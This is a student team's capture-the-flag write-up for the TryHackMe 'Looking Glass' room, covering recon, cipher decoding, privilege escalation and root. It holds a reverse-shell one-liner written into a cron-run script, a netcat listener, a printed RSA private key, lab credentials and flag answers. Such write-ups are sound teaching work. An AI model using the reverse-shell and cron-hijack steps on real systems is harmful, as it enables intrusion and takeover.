

PENTEST 1

LOOKING GLASS

ESPADA

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1) Recon and enumeration

Members involved: Irfan, Danish, Haikal

Tools used: Kali Linux, Nmap, SSH, Terminal, Firefox, Cipher Identifier and Analyzer(boxentriq)

Thought Process and Methodology and Attempts:

Firstly, we start to scan Machine IP address and ports in the network using **nmap** command. After finished scan, we can see list of port and service that currently running on the network. Our mission is to find the right port by running SSH scan to the ports.

```
1211103424@kali: ~  
File Actions Edit View Help  
File Actions Edit View Help  
(1211103424@kali)-[~]  
$ nmap 10.10.224.216  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 10:59 EDT  
Nmap scan report for 10.10.224.216  
Host is up (0.19s latency).  
Not shown: 916 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
9000/tcp   open  cslistener  
9001/tcp   open  tor-orport  
9002/tcp   open  dynamid  
9003/tcp   open  unknown  
9009/tcp   open  pichat  
9010/tcp   open  sdr  
9011/tcp   open  d-star  
9040/tcp   open  tor-trans  
9050/tcp   open  tor-socks  
9071/tcp   open  unknown  
9080/tcp   open  glrpc  
9081/tcp   open  cisco-aqos  
9090/tcp   open  zeus-admin  
9091/tcp   open  xmltec-xmlmail  
9099/tcp   open  unknown  
9100/tcp   open  jetdirect  
9101/tcp   open  jetdirect  
9102/tcp   open  jetdirect  
9103/tcp   open  jetdirect  
9110/tcp   open  unknown  
9111/tcp   open  DragonIDSConsole  
9200/tcp   open  wap-wsp
```

To start it, we using SSH to random ports to find the desired port.

```
(1211103424@kali)-[~]  
$ ssh 10.10.224.216 -p 9000  
The authenticity of host '[10.10.224.216]:9000 ([10.10.224.216]:9000)' can't be established.  
RSA key fingerprint is SHA256:iMwNI8HsNKOZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.  
This key is not known by any other names  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '[10.10.224.216]:9000' (RSA) to the list of known hosts.  
Lower  
Connection to 10.10.224.216 closed.
```

This scan results is not the port that we want but it indicates that it is lower from the port that we want. So, we need to test ports that is higher than this. For example, we scan (**ssh 10.10.224.216 -p 13783**).

```

(1211103424@kali)-[~]
$ ssh 10.10.224.216 -p 13783
The authenticity of host '[10.10.224.216]:13783 ([10.10.224.216]:13783)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKoZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
  ~/.ssh/known_hosts:2: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.224.216]:13783' (RSA) to the list of known hosts.
Higher
Connection to 10.10.224.216 closed.

```

This port also not the port we want but it indicates that it is higher than the port we want. So, we need to scan port that is lower than this port. We can repeat the same process and narrow it down until we get the port we want.

```

(1211103424@kali)-[~]
$ ssh 10.10.224.216 -p 12694
The authenticity of host '[10.10.224.216]:12694 ([10.10.224.216]:12694)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKoZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:1: [hashed name]
  ~/.ssh/known_hosts:2: [hashed name]
  ~/.ssh/known_hosts:3: [hashed name]
  ~/.ssh/known_hosts:4: [hashed name]
  ~/.ssh/known_hosts:5: [hashed name]
  ~/.ssh/known_hosts:6: [hashed name]
  ~/.ssh/known_hosts:7: [hashed name]
  ~/.ssh/known_hosts:8: [hashed name]
  (5 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.224.216]:12694' (RSA) to the list of known hosts.
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmj!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohxtachxta!'

Oi tzdr hjw oqzehp jpvvd tc oaoh:
Eqvv amdX ale xpuxpqx hwt oi jhbkhe--
Hv rfwmgl wl fp moi Tfbaun xkgm,
Puh jmvds lloimi bp bwvyxaa.

Eno pz io yyhgho xyhbkhe wl sushf,
Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
Jani pjqumpzgn xhcdgbgi xag bjskvr dsoo,
Pud cykdttk ej ba gaxt!

Vnf, xpqi! Wcl, xnh! Hrd ewyovka cvs alihbkH
Ewl vpvict qseux dine huidoxT-achgb!
Al peqi pt eitf, ick azmo mtd wlae
Lx ymca krebqpsxug cevM.

'Ick lrla xhzj zlbmg vpt Qesulvwzrr?
Cpqx vw bf eifz, qy mthmjwa dwn!
V jitinofh kaz! Gntdvl! Ttspaj!'
Wl ciskvttk me apw jzn.

'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
Enter Secret:

```

After doing these process, we got the port we want which is the **12694**. When we run ssh protocol to connect to it, we can get the message that contains information that

we want but it is in the encrypted form. So, we need to use decoding tools to read it which in this case we are using website from boxentriq.com. Select the Vigenere autokey Cipher below then click the Vigenere Cipher tool.

The screenshot shows a web browser window with the URL <https://www.boxentriq.com/code-breaking/cipher-identifier>. The page has a dark header with the 'BOXENTRIQ' logo and navigation links for 'TOOLS', 'PUZZLE', and 'ABOUT'. Below the header, there is a section titled 'Enter Ciphertext here' with a text input area containing the following ciphertext: 'Awow utqasmx, tun tst zixaa ooclj
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst losszqdtz,
Eew ale xdtc semja dbxxkhfe,
Jdbr tivtmi pw sxderpIoeKeudmgdstd'. Below the input area are buttons for 'Analyze Text', 'Copy', 'Paste', and 'Text Options...'. A note states: 'Note: To get accurate results, your ciphertext should be at least 25 characters long.' Below this is the 'Analysis Results' section, which shows the ciphertext and states: 'Your ciphertext is likely of this type: [Unknown Cipher \(click to read more\)](#)'. Underneath, a 'Votes' section lists three options: 'Unknown Cipher (62 votes)', 'Bifid Cipher (12 votes)', and 'Vigenere Autokey Cipher (11 votes)'. At the bottom of the page, there is a large section titled 'Vigenère Autokey Cipher' with a description: 'The Vigenère Autokey Cipher is a more secure variant of the ordinary Vigenère cipher. It encrypt the first letters in the same way as an ordinary Vigenère cipher, but after all letters in the key have been used it doesn't repeat the sequence. Instead it begins using letters from the plaintext as key.' Below the description is a bullet point linking to the 'Vigenère Cipher Tool'.

Enter Ciphertext here

Awow utqasmx, tun tst zixaa ooclj
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst losszqdtz,
Eew ale xdtc semja dbxxkhfe,
Jdbr tivtmi pw sxderpIoeKeudmgdstd

Analyze Text Copy Paste Text Options...

Note: To get accurate results, your ciphertext should be at least 25 characters long.

Analysis Results

Mdes mgplmmz, cvs alv kentan aowil Fga ncix hrd rxibmi bp bwl arul; Elw bpmc ppat alv urvoocet, E...

Your ciphertext is likely of this type:

[Unknown Cipher \(click to read more\)](#)

Votes

- Unknown Cipher (62 votes)
- Bifid Cipher (12 votes)
- Vigenere Autokey Cipher (11 votes)

Vigenère Autokey Cipher

The Vigenère Autokey Cipher is a more secure variant of the ordinary Vigenère cipher. It encrypt the first letters in the same way as an ordinary Vigenère cipher, but after all letters in the key have been used it doesn't repeat the sequence. Instead it begins using letters from the plaintext as key.

- [Vigenère Cipher Tool](#)

Copy and paste the text into that section and click the Auto Solve(witout key) button. This will show us the auto solve results so that we can get the key that we want.

Vigenere Tool

```
'AWDW utqasmx, tun tst Zijxaa bdc1j  
Wph gjgl aoh zkuqsi zg ale hpie;  
Bpe oqbzc nxyi tst iosszqdtz,  
Eew ale xdte semja dbxxkhfe.  
Jdbr tivtmi pw sxderpIoeKeudmgdstd
```

[Copy](#)[Paste](#)[Text Options...](#)[Decode](#)[Encode](#)[Auto Solve \(without key\)](#)[Instructions](#)

Auto Solve Options

Min Key Length**Max Key Length****Iterations****Max Results****Spacing Mode**[Close X](#)

Auto Solve results

Score**Key****Text**

37275

thealphabetcipher

twas brillig and the slithy toves did gyre and gimble
in the wabe all mimsy were the borogoves and the
mome raths outgrabe beware the jabberwock my
son the jaws that bite the claws that catch beware
the jubjub bird and shun the frumious bandersnatch
he took his vorpal sword in hand long time the
manxome foe he sought so rested he by the tumtum
tree and stood awhile in thought and as in uffish
thought he stood the jabberwock with eyes of flame
came whiffing through the tulgey wood and
burbled a

6772

hbe fhsysthdb eavaxmmt

fcan fort ffw brs fly zgtmrj vhekt mjp myic hur

From this process we get the **thealphabetcipher** key. Next, we need to enter the key into the key section and run decode. We will get result like this.

Vigenere Tool

```
'AWDW utqasmx, tun tst zijxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
```

Copy Paste Text Options...

thealphabetscipher
Standard Mode
English

Decode Encode Auto Solve (without key) Instructions

Auto Solve Options

Min Key Length	Max Key Length	Iterations	Max Results	Spacing Mode
3	20	100	10	Automatic

Results

Decoded message:

```
i was brillig, and the slithy toves
Did gyre and gimble in the wabe;
All mimsy were the borogoves,
And the mome raths outgrabe.
Your secret is bewareTheJabberwock
```

Copy Text Options... Close X

The secret we got is **bewareTheJabberwock**. Enter this secret key into the terminal and we can get the username (**jabberwock**) and the password(**StreetMountedJourneyVerbs**) that we can use to login into the user.

```
Enter Secret:
jabberwock:StreetMountedJourneyVerbs
Connection to 10.10.224.216 closed.
```

Login to the jabberwock user using those credentials by ssh protocol (**ssh jabberwock@10.10.224.216**)

```
(1211103424@kali)-[~]
$ ssh jabberwock@10.10.224.216
The authenticity of host '10.10.224.216 (10.10.224.216)' can't be established
ED25519 key fingerprint is SHA256:xs9LzYRViB8jiE4uU7UlpLdwXgzR3sCZpTYFU2RgvJ4
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.224.216' (ED25519) to the list of known hosts.
jabberwock@10.10.224.216's password:
Last login: Fri Jul 3 03:05:33 2020 from 192.168.170.1
jabberwock@looking-glass:~$
```

2) Initial foothold

Members involved: Irfan, Danish, Haikal

Tools used: Kali linux, firefox, reverse shell generator

Once we landed on the vulnerable machine connected using ssh, we can see that we run as the jabberwock user. We use ls command to see if there is other directory that we can see the information. We can see that there is two text file and one script file.

```
jabberwock@looking-glass:~$ ls
poem.txt  twasBrillig.sh  user.txt
```

We use the cat command to see the user.txt contents and we get the reverse flag. In order to see the flag in correct way, we use pipe command and rev to reverse the flag back.

```
jabberwock@looking-glass:~$ cat user.txt
}32a911966cab2d643f5d57d9e0173d56{mht
```

```
jabberwock@looking-glass:~$ cat user.txt | rev
thm{65d3710e9d75d5f346d2bac669119a23}
```

Then, we try to go to other directory such as humptydumpty and tweedledee but it is not allowed. Then we run the ls -lsa command to see the permission for each directories. As we can see below, other file such as Alice and humptydumpty are not allowing other user to read and write. We also can see the owner of each directory. Meaning that we only can go to the directory as that particular owner of the directory only.

```
jabberwock@looking-glass:/home$ ls -lsa
total 32
4 drwxr-xr-x  8 root      root      4096 Jul  3  2020 .
4 drwxr-xr-x 24 root      root      4096 Jul  2  2020 ..
4 drwx--x--x  6 alice     alice     4096 Jul  3  2020 alice
4 drwx----- 2 humptydumpty humptydumpty 4096 Jul  3  2020 humptydumpty
4 drwxrwxrwx  5 jabberwock jabberwock 4096 Jul  3  2020 jabberwock
4 drwx----- 5 tryhackme  tryhackme 4096 Jul  3  2020 tryhackme
4 drwx----- 3 tweedledee tweedledee 4096 Jul  3  2020 tweedledee
4 drwx----- 2 tweedledum tweedledum 4096 Jul  3  2020 tweedledum
jabberwock@looking-glass:/home$
```

After that, we can go to the previous directory and see there are a lot of directories. But, what is more interesting is etc directory because it is where the configuration file are located.

```
jabberwock@looking-glass:/ $ ls
bin  cdrom  etc  initrd.img  lib  lost+found  mnt  proc  run  snap  swap.img  tmp  var  vmlinuz.old
boot  dev  home  initrd.img.old  lib64  media  opt  root  sbin  srv  sys  usr  vmlinuz
jabberwock@looking-glass:/ $
```


We can see there are a lot of files in etc directory. As we go through the file, we can see there is crontab file which is usually having list of command that need to be run at the specific time.

```
jabberwock@looking-glass:/etc$ ls
NetworkManager      depmod.d             ld.so.conf            opt
X11                  dhcp                 ld.so.conf.d          os-release
acpi                 dnsmasq.d            ldap                  overlayroot.conf
adduser.conf         dnsmasq.d-available legal.boot             pam.conf
alternatives         dpkg                 libaudit.conf         pam.d
apm                  environment          libnl-3               passwd
apparmor             ethertypes           locale.alias          passwd-
apparmor.d           fonts               locale.gen            perl
apport              fstab                localtime             pm
apt                 fstab.orig          logcheck              polkit-1
at.deny              fuse.conf            login.defs            pollinate
bash                 gai.conf            logrotate.conf        popularity-contest.conf
bash_completion      groff               logrotate.d           profile
bash_completion.d    group               lsb-release           profile.d
bindresvport.blacklist group                ltrace.conf           protocols
binfmt.d             grub.d              lvm                   python3
byobu                gshadow             machine-id            python3.6
ca-certificates      gshadow-            magic                 rc0.d
ca-certificates.conf gss                 magic.mime            rc1.d
ca-certificates.conf.dpkg-old hdparm.conf         mailcap               rc2.d
calendar             host.conf           mailcap.order         rc3.d
cloud                hostname            manpath.config        rc4.d
console-setup        hosts              mdadm                 rc5.d
cron.d               hosts.allow         mime.types            rc6.d
cron.daily           hosts.deny          mke2fs.conf           rcS.d
cron.hourly          init.d              modprobe.d            resolv.conf
cron.monthly         initramfs-tools     modules               rmt
cron.weekly          inputrc            modules-load.d        rpc
crontab              iproute2            mtab                  rsyslog.conf
cryptsetup-initramfs iscsi               nanorc                rsyslog.d
crypttab             issue               netplan               screenrc
dbus-1               issue.net           network               securetty
debconf.conf         kernel             networkd-dispatcher   security
debian_version       kernel-img.conf    newt                  selinux
default              landscape           nsswitch.conf         services
deluser.conf         ld.so.cache        nsswitch.conf         shadow
```


As we cat the crontab file, we can see the command that are scheduled. But, what catch our eyes is the last line of the file which we can see it is related to the twasbrillig.sh file we already see in the jabberwocky directory. We can see a reboot string is used. Meaning that the user run the twasbrillig.sh file when the system reboot. So we can use the file to set up the reverse shell in order for us to get the access.

```
jabberwock@looking-glass:/etc$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
@reboot twreedledum bash /home/jabberwock/twasBrillig.sh
jabberwock@looking-glass:/etc$
```

We go to the jabberwock directory and run the following command which means that we set the reverse shell into the twasBrillig.sh file. We use the reverse shell generator and then set up the listener on the same port as the reverse shell. In this case we use port 1234.



Echo the reverse shell command in the twasBrillig.sh.

```
jabberwock@looking-glass:/etc$ cd ..
jabberwock@looking-glass:/$ cd home
jabberwock@looking-glass:/home$ cd jabberwock/
jabberwock@looking-glass:~$ echo "sh -i >& /dev/tcp/10.8.94.82/1234 0>&1" > twasBrillig.sh
```

Set up the port listener on 1234.

```
(1211103424@kali)-[~]
$ nc -lvnp 1234
listening on [any] 1234 ...
```

After that we run the sudo -l command to see the list of user's privilege or specific command and we can see that jabberwock can run the reboot command. Then we run the sudo reboot command and wait for the listener to receive the connection. When we run the whoami command we can see that we already run as tweedledum user.

```
jabberwock@looking-glass:~$ sudo -l
Matching Defaults entries for jabberwock on looking-glass:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jabberwock may run the following commands on looking-glass:
  (root) NOPASSWD: /sbin/reboot
jabberwock@looking-glass:~$ sudo reboot
```

```
(1211103424@kali)-[~]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.95.107] from (UNKNOWN) [10.10.224.216] 59112
sh: 0: can't access tty; job control turned off
$ whoami
tweedledum
$
```

3) Horizontal privilege

Members involved: Irfan, Danish, Haikal

Tools used: Kali linux, Crackstation website, Cyberchef


After the listener get connected to the machine, we can see there are two text file. We cat the humptydumpty.txt file and see these hash code linked contents in it. So we assumed there must be some hidden information within it id we decode it right.

```
(1211103094@kali)-[~]
└─$ nc -lvp 1234
listening on [any] 1234 ...
connect to [10.8.94.82] from (UNKNOWN) [10.10.82.199] 60134
/bin/sh: 0: can't access tty; job control turned off
$ ls
humptydumpty.txt
poem.txt
$ cat humptydumpty.txt
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b
$
```

Then we use the crackstation website to crack the these hash. We can see the result that bring the word “maybe one of these is the password ...”. So our assumption was right which is the hash contain the password of the other user.

Enter up to 20 non-salted hashes, one per line:

```
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b
```



Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, rpeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9	sha256	maybe
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed	sha256	one
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624	sha256	of
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f	sha256	these
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6	sha256	is
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0	sha256	the
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8	sha256	password
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b	Unknown	Not found.

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

We then copy the last line of hash that not decoded and use cyberchef to decode it from hexadecimal to an acceptable result. We use the magic format this time and get the password which is zyxwvutsrqponmlk. Since the hash is from humptydumpty.txt, we can assume that the password is the password for the humptydumpty account

```
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b|
```

Output		
time: 109ms length: 16355 lines: 607		
Recipe (click to load)	Result snippet	Properties
From_Hex('None')	the password is zyxwvutsrqponmlk	Possible languages: English Matching ops: From Base85 Valid UTF8 Entropy: 4.29
	7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b	Matching ops: From Base64, From Base85, From Hex, From Hexdump Valid UTF8 Entropy: 3.26

It turns out right that it is the password of humptydumpty. Now we login as humptydumpty.

```
(1211103094@kali)-[~]  
$ ssh jabberwock@10.10.82.199  
jabberwock@10.10.82.199's password:  
Last login: Tue Jul 26 16:16:39 2022 from 10.8.94.82  
jabberwock@looking-glass:~$ su humptydumpty  
Password:  
humptydumpty@looking-glass:/home/jabberwock$ whoami  
humptydumpty  
humptydumpty@looking-glass:/home/jabberwock$
```

We go to the home directory and run the `ls -las` command. We can see several directory same as before but notice that we have permission on the alice directory. We also can execute the file within it even though we are not the owner.

```
humptydumpty@looking-glass:/home$ ls
alice humptydumpty jabberwock tryhackme tweedledee tweedledum
humptydumpty@looking-glass:/home$ ls -las
total 32
4 drwxr-xr-x  8 root      root      4096 Jul  3  2020 .
4 drwxr-xr-x 24 root      root      4096 Jul  2  2020 ..
4 drwx--x--x  6 alice     alice     4096 Jul  3  2020 alice
4 drwx----- 2 humptydumpty humptydumpty 4096 Jul  3  2020 humptydumpty
4 drwxrwxrwx  5 jabberwock jabberwock 4096 Jul  3  2020 jabberwock
4 drwx----- 5 tryhackme  tryhackme 4096 Jul  3  2020 tryhackme
4 drwx----- 3 tweedledee  tweedledee 4096 Jul  3  2020 tweedledee
4 drwx----- 2 tweedledum  tweedledum 4096 Jul  3  2020 tweedledum
humptydumpty@looking-glass:/home$
```

Then we run the `cat /home/alice/.ssh/id_rsa` command to see the rsa private key of of alice user in it.

```
humptydumpty@looking-glass:/home$ cd ..
humptydumpty@looking-glass:/home$ cat /home/alice/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEPgIBAAKCAQEAxmPncAXisNjbU2xizft4aYPqmfXm1735FPLGf4j9ExZhlmmD
NIRchPaFUqJXQZi5ryQH6YxZP5IIJXENK+a4WoRDyPoyGK/63rXTn/IWWKQka9tQ
2xrdnyxdwbtiKP1L4bq/4vU30UcA+aYHxqhyq39arpeceHVit+jVPriHiCA73k7g
HCgpkwWczNa5MMGo+1Cg4ifzffv4uhPkxBLL3f4rBf84RmuKEEy6bYZ+/WOEGHl
fks5ngFniW7x2R3vyq7xyDrwiXEjfw4yYe+kLiGZyyk1ia7HGhNKpIRufPdJdT+r
NGrjYFLjhzeWYBmHx7JkhkEUFIVx6ZV1y+giHQIDAQABAoIBAQAIA5kCyMqtQj
X2F+09J8qjvFzf+GSL7LAIVuC5Ryqlxm5tsg4nUZvLRgFRmpn7hJAjD/bwFKLb7j
/pHmkU1C4WkaJdjpZhSPFGjxPK4UtKx3Uetjw+1eomIVNu6pkivJ0DyXVJiTZ5jF
ql2PZTVpwPtRw+RebKMwjwo4k77Q30r8Kxr4UfX2hLHT8tsjqBUWrb/jLMHQ0
zmU73tuPVQSESgeUP2j0lv7q5toEYieoA+7ULpGDWdn8PxQjCF/2QUa2jFalixsK
WfEcmTnIQDyOFWCbmG0vik4Lzk/rDGN9VjcYFx0puj3XH2l8QDQ+G0+5BBg38+aJ
cUINwh4BAoGBAPdctuVRoAkFpyEofZxQFqPqw3LZyviKena/HyWLxXWHxG6ji7aW
DmtVXjjQ0wcj0LUdKt4QQvCJVrGbdBVG0FLoWZzLpYGJchxmLR+RHCb40pZjBgr5
8bjJlQcp6pplBRcf/OsG5ugpCiJsS6uA6CWWXe6WC7r7V94r5wzzJpWBAoGBAM1R
aCg1/2UxIOqxtAfQ+WDxqQQuq3szvrhep22McIUe83dh+hUibaPqR1nYy1sAAhgy
wJohLchlq4E1LhUmTZZquBwviU73fNRbID5pfn4LKL6/yiF/GWd+Zv+t9n9DDWKi
WgT9aG7N+TP/yimYniR2ePu/xKIjWX/uSs3rSLcFAoGBA0xvcFpM5Pz6rD8jZrzs
SFexY9P5n0pn4ppyICFRMhIfDYD7TeXefDY/y0nhDyrJXcb0ARwjivhDLdxhzFkx
X1DPyif292GTsMC4xL0BhLkziIY6bGI9efC4rXvFcvrUqDyc9ZzoYflykL9KaCGr
+zLC0tJ8FQZKjDh0GnDkUPMBAoGBAMrVaXiQH8bwSfyRobE3GaZUFw0yreYAsKGj
oPPwkhxhA0ULXdITOQ1+HQ79xagY0fjl6rBZpska59u1ldj/BhdbRpdRvuxsQr3n
aGs//N64V4BaKG3/CjHcBhUA30vKCicvDI9xaQJ0KardP/Ln+xM6lZrdsHwdQAXK
e8wCbMuhAoGBAOKy50naHwB8PcFcX68srFLX4W20NN6cFp12cU2QJy2MLGoFYBpa
dLnK/rW400JxgqIV69MjDsfrn1gZNhTTAyNnRMH1U7kUfPUB2ZXcmnCGLhAGEbY9
k6ywCnCtTz2/sNEgNcx9/iZW+yVEm/4s9eonVimF+u19HJFOPJsAYxx0
-----END RSA PRIVATE KEY-----
```

Later, we run the command `ssh alice@10.10.82.199 -i /home/alice/.ssh/id_rsa` to login the IP address as alice using her private key. `-i` parameter in this command used to specify the identity file which is in this case the private key stored in `id_rsa`. Now, we login as alice.

```
humptydumpty@looking-glass:/$ ssh alice@10.10.82.199 -i /home/alice/.ssh/id_rsa
Last login: Fri Jul 3 02:42:13 2020 from 192.168.170.1
alice@looking-glass:~$
```

Then, we can see the `kitten.txt` file in it. As soon we `cat` the file, there is nothing but a story.

```
alice@looking-glass:~$ ls
kitten.txt
alice@looking-glass:~$ cat kitten.txt
She took her off the table as she spoke, and shook her backwards and forwards with all her might.

The Red Queen made no resistance whatever; only her face grew very small, and her eyes got large and green: and still, as Alice went on shaking her, she kept on growing shorter-and fatter-and softer-and rounder-and-

-and it really was a kitten, after all.
alice@looking-glass:~$
```

After that, we decide to go to the `etc` folder as there is where the configuration file is located.

```
alice@looking-glass:/$ cd etc
alice@looking-glass:/etc$ ls
NetworkManager  depmod.d      ld.so.conf      opt             shadow-
X11             dhcp          ld.so.conf.d    os-release     shells
acpi            dnsmasq.d     ldap            overlayroot.conf skel
adduser.conf    dnsmasq.d-available legal          pam.conf       sos.conf
alternatives    dpkg          libaudit.conf   pam.d          ssh
apm             environment   libnl-3         passwd         ssl
apparmor        ethertypes    locale.alias    passwd-        subgid
apparmor.d      fonts         locale.gen      perl           subgid
apport          fstab         localtime       polkit-1       subuid
apt             fstab.orig    logcheck        pollinate      subuid
at.deny         fuse.conf     login.defs      popularity-contest.conf sudoers.d
bash.bashrc     gai.conf      logrotate.conf  profile        sysctl.conf
bash_completion fuse.conf.d/alice logrotate.d     profile.d      sysctl.d
bash_completion.d group         lsb-release     protocols      systemd
bindresvport.blacklist group-        ltrace.conf    python3        terminfo
binfmt.d        grub.d        lvm             python3.6     thermalld
byobu           gshadow       machine-id      rc0.d          timezone
ca-certificates gshadow-      magic.mime      rc1.d          tmpfiles.d
ca-certificates.conf hdparm.conf  mailcap         rc2.d          ucf.conf
calendar        host.conf     mailcap.order   rc3.d          udev
cloud           hostname     manpath.config  rc4.d          ufw
console-setup  hosts        mdadm           rc5.d          update-manager
cron.d         hosts.allow  mke2fs.conf     rc6.d          update-motd.d
cron.daily     hosts.deny   modprobe.d      rcS.d          update-notifier
cron.hourly    init.d       modules         resolv.conf    updatedb.conf
cron.monthly   inputrc     modules-load.d  rmt            vim
cron.weekly    iproute2    nanorc          rpc            vmware-tools
cronstab       iscsi        netplan         rsyslog.conf  vtrgb
cryptsetup-initramfs issue         networkd-dispatcher security       wgetrc
crypttab       issue.net    networks        selinux
dbus-1         kernel       kernel-img.conf newt            services
debconf.conf   kernel-landscape ld.so.cache    nsswitch.conf shadow
deluser.conf   ld.so.cache
```

We see the `sudoers` file which usually known as file that allocate the user to the system rights. Then we tried the `sudoers.d` directory and can see `alice` name there.

```
alice@looking-glass:/etc$ cat sudoers
cat: sudoers: Permission denied
alice@looking-glass:/etc$ cd sudoers.d
alice@looking-glass:/etc/sudoers.d$ ls
README alice jabberwock tweedles
```


Then we cat the alice file and see that alice can run /bin/bash command.

```
alice@looking-glass:/etc/sudoers.d$ cat alice
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash
alice@looking-glass:/etc/sudoers.d$
```

Then we run the sudo command using -h parameter to specify the host we want the command run on. We run the /bin/bash command. After that, we can see that we already login as the root user.

```
alice@looking-glass:/etc/sudoers.d$ sudo -h ssalg-gnikool /bin/bash
sudo: unable to resolve host ssalg-gnikool
root@looking-glass:/etc/sudoers.d# cd ..
root@looking-glass:/etc# whoami
root
root@looking-glass:/etc#
```

4) Root privilege escalation



After we login as the root, we can find the root flag. It is located in the root directory in the root.txt file. We need to use the **cat root.txt** command followed by the **| rev** command to view this flag.

```
root@looking-glass:/etc# cd ..
root@looking-glass:/# ls
bin  cdrom  etc  initrd.img  lib  lost+found  mnt  proc  run  snap  swap.img  tmp  var  vmlinuz  vmlinuz.old
boot  dev  home  initrd.img.old  lib64  media  opt  root  sbin  srv  sys  usr  vmlinuz
root@looking-glass:/# cd root
root@looking-glass:/root# ls
passwords  passwords.sh  root.txt  the_end.txt
root@looking-glass:/root# cat root.txt
}f3dae6dec817ad10b750d79f6b7332cb{mht
root@looking-glass:/root# cat root.txt | rev
thm{bc2337b6f97d057b01da718ced6ead3f}
root@looking-glass:/root#
```

Final step

All of us tested and run the method above on our own computers and we got the same flag and verified it to be true. After the verification among all the members(Irfan, Danish, and Haikal) we placed the flag we got into the thm and got the verification from thm. Only after that, we enter the flag into the Google Form provided.

Contribution

ID	NAME	Contribution	Signature
1211103094	Muhammad Irfan Bin Zulkifli	Figured out the exploit for initial Foothold by using reverse shell. Help in doing the writeup	
